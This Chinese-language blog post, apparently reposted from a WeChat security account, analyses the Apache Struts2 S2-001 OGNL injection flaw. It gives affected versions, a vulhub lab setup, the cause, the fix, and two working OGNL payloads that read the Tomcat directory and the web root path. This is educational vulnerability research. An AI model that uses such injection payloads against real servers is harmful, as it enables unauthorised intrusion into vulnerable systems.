【Struts2-命令-代码执行漏洞分析系列】 S2-001

admin 2021年1月21日10:24:12评论125 views字数 1670阅读5分34秒阅读模式

【Struts2-命令-代码执行漏洞分析系列】 S2-001

漏洞信息:

漏洞信息页面: 

https://cwiki.apache.org/confluence/display/WW/S2-001


漏洞成因官方概述:

Remote code exploit on form validation error


漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8


【Struts2-命令-代码执行漏洞分析系列】 S2-001


环境搭建
用vulhub靶场进行搭建,非常方便


【Struts2-命令-代码执行漏洞分析系列】 S2-001 

我已经搭建完成,这个图片是已经搭建完成的,使用 docker ps 命令 查看已经搭建好的靶场容器。


原理:


该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}


进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}


对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 


利用过程:
进入靶场


【Struts2-命令-代码执行漏洞分析系列】 S2-001 
这个漏洞的问题在于可以直接输入和直接回显
将POC粘到一个输入框,点击Submit
此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
获取tomcat执行路径:


<span class="token operator">%</span><span class="token punctuation">{</span><span class="token string">"tomcatBinDir{"</span><span class="token operator"> </span><span class="token annotation punctuation">@java</span><span class="token punctuation">.</span>lang<span class="token punctuation">.</span>System<span class="token annotation punctuation">@getProperty</span><span class="token punctuation">(</span><span class="token string">"user.dir"</span><span class="token punctuation">)</span><span class="token operator"> </span><span class="token string">"}"</span><span class="token punctuation">}</span>


【Struts2-命令-代码执行漏洞分析系列】 S2-001 


获取Web路径:


%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

【Struts2-命令-代码执行漏洞分析系列】 S2-001 
总结:


最后总结一下 S2-001 的一个触发条件:开启 altSyntax 功能;使用 s 标签处理表单;action 返回错误;OGNL 递归处理


值得一提的是 Struts2 官方给出了一个解决办法中提到了:从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 1}。


也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。

【Struts2-命令-代码执行漏洞分析系列】 S2-001


推荐文章++++

【Struts2-命令-代码执行漏洞分析系列】 S2-001

*Struts2-Scan 一款全漏洞扫描利用工具

*Python编写的开源Struts2全版本漏洞检测工具

*Struts2 再爆高危漏洞S2-048 来了


【Struts2-命令-代码执行漏洞分析系列】 S2-001

【Struts2-命令-代码执行漏洞分析系列】 S2-001

本文始发于微信公众号(黑白之道):【Struts2-命令-代码执行漏洞分析系列】 S2-001

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月21日10:24:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Struts2-命令-代码执行漏洞分析系列】 S2-001http://cn-sec.com/archives/213151.html

发表评论

匿名网友 填写信息